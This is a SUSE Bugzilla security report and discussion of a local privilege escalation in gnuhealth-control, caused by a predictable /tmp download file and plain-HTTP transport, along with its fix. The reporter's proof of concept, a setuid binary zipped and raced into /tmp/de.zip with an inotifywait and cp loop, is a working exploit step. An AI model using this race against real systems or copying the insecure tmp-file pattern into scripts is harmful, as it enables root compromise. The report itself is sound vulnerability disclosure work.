Bug 1167126 - VUL-0: gnuhealth: Local privilege escalation in gnuhealth-control, use of static tmp file/http transport
Summary: VUL-0: gnuhealth: Local privilege escalation in gnuhealth-control, use of sta...
Status: RESOLVED FIXED
Alias: None
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: Other Other
: P3 - Medium : Normal
Target Milestone: ---
Assignee: Axel Braun
QA Contact: Security Team bot
URL: https://smash.suse.de/issue/255393/
Whiteboard:
Keywords:
Depends on:
Blocks: 1166755
  Show dependency treegraph
 
Reported: 2020-03-19 14:51 UTC by Johannes Segitz
Modified: 2020-06-17 11:31 UTC (History)
4 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments
Code for reproducer (130 bytes, text/x-csrc)
2020-03-19 14:51 UTC, Johannes Segitz
Details

Note You need to log in before you can comment on or make changes to this bug.
Description Johannes Segitz 2020-03-19 14:51:06 UTC
Created attachment 833397 [details]
Code for reproducer

405 getlang() {
  406     if [ $# -eq 1 ]; then
  407         usage
  408     fi
  409
  410     local lang_to_install=$2
  411     local lang_file=${lang_to_install}.zip
  412 #    source $HOME/.gnuhealthrc || exit 1
  413     cli_msg "INFO" "Going to modules directory ${GNUHEALTH_DIR} "
  414
  415     cd ${GNUHEALTH_DIR} || exit 1
  416     cli_msg "INFO" "Retrieving language pack file for ${lang_to_install}"
  417     wget ${TRANSLATE_URL}/export/?path=/${lang_to_install}/GNUHEALTH/ -O /tmp/${lang_file} || exit 1
  418     cli_msg "INFO" "Installing / Updating language files for ${lang_to_install} ..."
  419
  420     bsdtar --strip-components 3 --exclude *webdav3* --exclude *caldav* -xzf /tmp/${lang_file} || exit 1

1, /tmp/${lang_file} evaluates to e.g. /tmp/de.zip and is therefor predictable. On systems with fs.protected_symlinks=0 this can be used to overwrite arbitrary files
2, TRANSLATE_URL is a http URL and an active network attacker can change the content of the downloaded file
3, The first wget writes the content to the file no matter if it already exists. It also doesn't change the permissions. With that this can be used for local privilege escalation (LPE). POC:
As user:
mkdir -p a/b/c; gcc -Wall -Wextra test.c -o a/b/c/test && sudo chown root a/b/c/test && sudo chmod 4755 a/b/c/test && zip -r exploit.zip a
touch /tmp/de.zip
inotifywait -e open /tmp/de.zip; for i in `seq 1 1000`; do cp -f ~/exploit.zip /tmp/de.zip; done

As root: /usr/bin/gnuhealth-control getlang de
fails on Factory since
   32 GNUHEALTH_DIR=$(ls -d /usr/lib/python3.* )/site-packages/trytond/modules
does yield more than one path and it bails here
  415     cd ${GNUHEALTH_DIR} || exit 1
works on Leap 15.1

Once the zip is downloaded via wget it's overwritten with the prepared zip. After that GNUHEALTH_DIR will contain a 'test' binary:
-rwsr-xr-x 1 root users ? 13K Mar 19 15:21 test

# id
uid=1000(johannes) gid=100(users) groups=100(users)
# /usr/lib/python3.8/site-packages/trytond/modules/test
euid: 0

Requires winning the race and code looks pretty dead, so I don't think this is very severe.
Comment 1 Johannes Segitz 2020-03-19 14:52:29 UTC
This issue will be handled according to our disclosure policy outlined in
https://en.opensuse.org/openSUSE:Security_disclosure_policy

The information listed here is not public. Please
- do not talk to other people about this unless they're involved in fixing the issue
- do not make this bug public

In accordance with our policy we will make this issue public latest at
Internal CRD: 2020-06-17 or earlier at your discretion
This is the latest possible date and we prefer to make it public earlier if the
situation allows it. In that case we'll post a comment here setting the new
date.

You're free to make this public at any point but please inform us upfront.
Comment 2 Johannes Segitz 2020-03-19 14:56:55 UTC
In the upstream version the update logic uses
UPDATE_DOWNLOAD_DIR="/tmp/gnuhealth_update"
and can be attacked in a similar way. For that I would like to request a CVE to track this once you've had a chance to review this finding
Comment 3 Axel Braun 2020-03-20 13:07:55 UTC
(In reply to Johannes Segitz from comment #0)

.....
> 1, /tmp/${lang_file} evaluates to e.g. /tmp/de.zip and is therefor
> predictable. On systems with fs.protected_symlinks=0 this can be used to
> overwrite arbitrary files

Yes, depending on the language you request it gets it.zip, es.zip etc.
As this is linked to the pootle (translation) structure, it is difficult to change (I guess).
Any idea for a solution? 

> 2, TRANSLATE_URL is a http URL and an active network attacker can change the
> content of the downloaded file

the server needs certificates...I have requested this already

> 3, The first wget writes the content to the file no matter if it already
> exists. It also doesn't change the permissions. With that this can be used
> for local privilege escalation (LPE). 

I it sufficient if I clean the existing ${lang-file}.zip ?

.....

> As root: /usr/bin/gnuhealth-control getlang de
> fails on Factory since
>    32 GNUHEALTH_DIR=$(ls -d /usr/lib/python3.*
> )/site-packages/trytond/modules
> does yield more than one path and it bails here
>   415     cd ${GNUHEALTH_DIR} || exit 1
> works on Leap 15.1

Yes...some python3.7 dirs may be around in TW. For updating I need to find the current python version under which the modules are installed. Any better idea is welcome!

> Once the zip is downloaded via wget it's overwritten with the prepared zip.
> After that GNUHEALTH_DIR will contain a 'test' binary:
> -rwsr-xr-x 1 root users ? 13K Mar 19 15:21 test
> 
> # id
> uid=1000(johannes) gid=100(users) groups=100(users)
> # /usr/lib/python3.8/site-packages/trytond/modules/test
> euid: 0
> 
> Requires winning the race and code looks pretty dead, so I don't think this
> is very severe.

Thats the good news ;-)

One more:
We are writing some aliases into /etc/bash.bashrc.local 
It was mentioned that this is is not the best idea, and we should use /etc/profile.d instead. How should this work? Just place a script in there and it is picked up? No idea, sorry, so I'm asking....
Comment 4 Johannes Segitz 2020-03-20 13:28:53 UTC
> > 1, /tmp/${lang_file} evaluates to e.g. /tmp/de.zip and is therefor
> > predictable. On systems with fs.protected_symlinks=0 this can be used to
> > overwrite arbitrary files
>
> Yes, depending on the language you request it gets it.zip, es.zip etc.
> As this is linked to the pootle (translation) structure, it is difficult to change (I guess).
> Any idea for a solution?

The easiest solution is to create a tmp directory with
mktemp -d
then work in this directory

> the server needs certificates...I have requested this already

great

>> 3, The first wget writes the content to the file no matter if it already
>> exists. It also doesn't change the permissions. With that this can be used
>> for local privilege escalation (LPE).
>
>I it sufficient if I clean the existing ${lang-file}.zip ?

no, as the attacker can still jump in between. If you work in the directory
created with mktemp -d you're safe

>Yes...some python3.7 dirs may be around in TW. For updating I need to find the current python version under which the modules are installed. Any better idea is welcome!

There's probably a more elegant way but you could query the rpm database for this

>We are writing some aliases into /etc/bash.bashrc.local
>It was mentioned that this is is not the best idea, and we should use /etc/profile.d instead. How should this work? Just place a script in there and it is picked up? No idea, sorry, so I'm asking....

yes, that's the way this works. Can you point me toward the aliases so I can have a quick look?
Comment 5 Axel Braun 2020-03-20 14:40:30 UTC
(In reply to Johannes Segitz from comment #4)

> >Yes...some python3.7 dirs may be around in TW. For updating I need to find the current python version under which the modules are installed. Any better idea is welcome!
> 
> There's probably a more elegant way but you could query the rpm database for
> this

If there is still a package being build against 3.7, quering the DB would still give 2 results....
 
> >We are writing some aliases into /etc/bash.bashrc.local
> >It was mentioned that this is is not the best idea, and we should use /etc/profile.d instead. How should this work? Just place a script in there and it is picked up? No idea, sorry, so I'm asking....
> 
> yes, that's the way this works. Can you point me toward the aliases so I can
> have a quick look?

It is from the spec-file:

#Write environment changes to /etc/bash.bashrc.local
cat > /etc/bash.bashrc.local << "EOF"
alias cdlogs='cd /var/log/tryton'
alias cdexe='cd $(ls -d /usr/lib/python3.* )/site-packages/trytond'
alias cdconf='cd /etc/tryton'
alias cdmods='cd $(ls -d /usr/lib/python3.* )/site-packages/trytond/modules'
alias editconf='${EDITOR} /etc/tryton/trytond.conf'
alias cdutil='cd /usr/bin'
EOF

#Write GH Variable /etc/tryton/gnuhealthrc 
cat > /etc/tryton/gnuhealthrc << "EOF"
GNUHEALTH_VERSION=%{version}
TRYTON_VERSION=%{t_version}
EOF
Comment 6 Johannes Segitz 2020-03-20 15:35:38 UTC
And it then ships for more than one python version in one package? Try
rpm -ql gnuhealth | egrep '^/usr/lib/python.\..{1,2}/site-packages$'

The aliases are fine but I (personally) think that they should be shipped in a suggested package, not by default
Comment 7 Axel Braun 2020-03-23 09:21:02 UTC
I have added https://bugzilla.opensuse.org/attachment.cgi?id=833616 to boo#1167128, please review in this context as well.
Once this is agreed, I will work on the upstream version
Comment 9 Swamp Workflow Management 2020-03-31 16:50:06 UTC
This is an autogenerated message for OBS integration:
This bug (1167126) was mentioned in
https://build.opensuse.org/request/show/790257 15.1 / gnuhealth
https://build.opensuse.org/request/show/790258 Factory / gnuhealth
https://build.opensuse.org/request/show/790259 15.2 / gnuhealth
Comment 10 Swamp Workflow Management 2020-04-05 09:00:12 UTC
This is an autogenerated message for OBS integration:
This bug (1167126) was mentioned in
https://build.opensuse.org/request/show/791491 15.1 / gnuhealth
https://build.opensuse.org/request/show/791495 Factory / gnuhealth
Comment 11 Swamp Workflow Management 2020-04-09 19:15:24 UTC
openSUSE-SU-2020:0490-1: An update that contains security fixes can now be installed.

Category: security (moderate)
Bug References: 1167126,1167128
CVE References: 
Sources used:
openSUSE Leap 15.1 (src):    gnuhealth-3.4.1-lp151.2.11.1
Comment 12 Swamp Workflow Management 2020-04-17 13:32:05 UTC
openSUSE-SU-2020:0534-1: An update that contains security fixes can now be installed.

Category: security (moderate)
Bug References: 1167126,1167128
CVE References: 
Sources used:
openSUSE Backports SLE-15-SP1 (src):    gnuhealth-3.4.1-bp151.3.9.4
Comment 13 Axel Braun 2020-04-27 20:06:34 UTC
As everything is in place, I think we can close this?
Comment 14 Johannes Segitz 2020-04-28 06:45:22 UTC
yes, thank you for fixing this
Comment 15 Luis Falcon 2020-06-17 11:31:39 UTC
Hi Axel, Johannes

Axel, please before sending any potential vulnerability, practice
coordinated disclosure. Make sure you write to
"security@gnuhealth.org"[1] so we can discuss and apply the pertinent
patches if needed.

This particular context is not critical, but if it would be the case,
you would be publicly exposing the vulnerability.

Let me repeat: *ALWAYS* write privately to security@gnuhealth.org if you
think there is a vulnerability.

I have noticed that

https://bugzilla.opensuse.org/show_bug.cgi?id=1167126

and

https://bugzilla.opensuse.org/show_bug.cgi?id=1167128

are public.


1.-
https://en.wikibooks.org/wiki/GNU_Health/Security#Reporting_a_security_vulnerability